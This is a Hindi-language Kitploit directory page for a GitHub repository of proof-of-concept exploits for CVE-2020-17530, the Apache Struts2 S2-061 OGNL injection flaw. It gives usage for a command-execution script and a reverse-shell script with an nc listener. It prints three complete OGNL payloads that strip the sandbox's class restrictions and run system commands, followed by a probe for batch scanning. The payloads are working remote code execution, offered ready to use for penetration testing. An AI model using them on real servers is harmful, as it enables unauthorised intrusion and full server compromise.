Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-17530 — S2-061 का payload, तथा संबंधित सरल PoC/Exp | Kitploit
उपकरण/GitHubGitHub/wuzuowei/cve-2020-17530
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

S2-061 का payload, तथा संबंधित सरल PoC/Exp

रिपॉजिटरी देखें
46225 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

S2-061

ये स्क्रिप्ट vulhub के struts2-059/061 भेद्यता परीक्षण वातावरण के आधार पर लिखी गई हैं, ये सार्वभौमिक नहीं हैं, आशा है कि विशेषज्ञ साथी मार्गदर्शन करेंगे।

  • struts2-061-poc.py (सरल सिस्टम कमांड निष्पादित कर सकता है)

    उपयोग: python struts2-061-poc.py http://ip:port command

    उदाहरण: python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (रिवर्स शेल प्राप्त कर सकता है)

    उपयोग:

    1. सबसे पहले मशीन A पर एक विशिष्ट पोर्ट पर सुनें (उदाहरण के लिए: nc -lvvp 7777)

    2. स्क्रिप्ट निष्पादित करें: python2 S2-061-shell.py target_url, जहाँ target_url भेद्यता वातावरण का पता है, प्रारूप http://ip:port है

    3. स्क्रिप्ट के संकेत के अनुसार मशीन A का IP तथा सुने जा रहे पोर्ट को दर्ज करें, फिर मशीन A की सुनने वाली विंडो में shell प्राप्त कर सकते हैं



नीचे कुछ विशेषज्ञों द्वारा बनाए गए payload दिए गए हैं:

payload-1:(from ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(from Smi1e)

पूर्ण विश्लेषण लेख: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

application का उपयोग करते हुए, यही विचार का पूर्ण POC है

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

request का उपयोग करते हुए, एकल अनुरोध के लिए मान्य पूर्ण POC (अनुशंसित)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

ध्यान दें: कृपया उपरोक्त OGNL कोड को url द्वारा एन्कोड करने के बाद ही टूल पर उपयोग करें।

पहचान का तरीका:

नए संस्करण के struts2 में, पैरामीटर निर्माण के माध्यम से ognl एक्सप्रेशन को पार्स नहीं किया जा सकता है, इसलिए यदि इस भेद्यता की उपस्थिति के लिए बैच स्कैन हेतु स्क्रिप्ट का उपयोग करना चाहते हैं, तो सीधे सभी पैरामीटर को ब्रूट-फोर्स करके यह जाँचा जा सकता है कि पृष्ठ में अपेक्षित परिणाम टेक्स्ट मौजूद है या नहीं।

उदाहरण: %{ 'gcowsec-' + (2000 + 20).toString()}

अपेक्षित परिणाम होगा

gcowsec-2020

स्क्रिप्ट का उपयोग करके यह जाँचना पर्याप्त है कि परिणाम में यह शामिल है या नहीं।

टूल डाउनलोड करें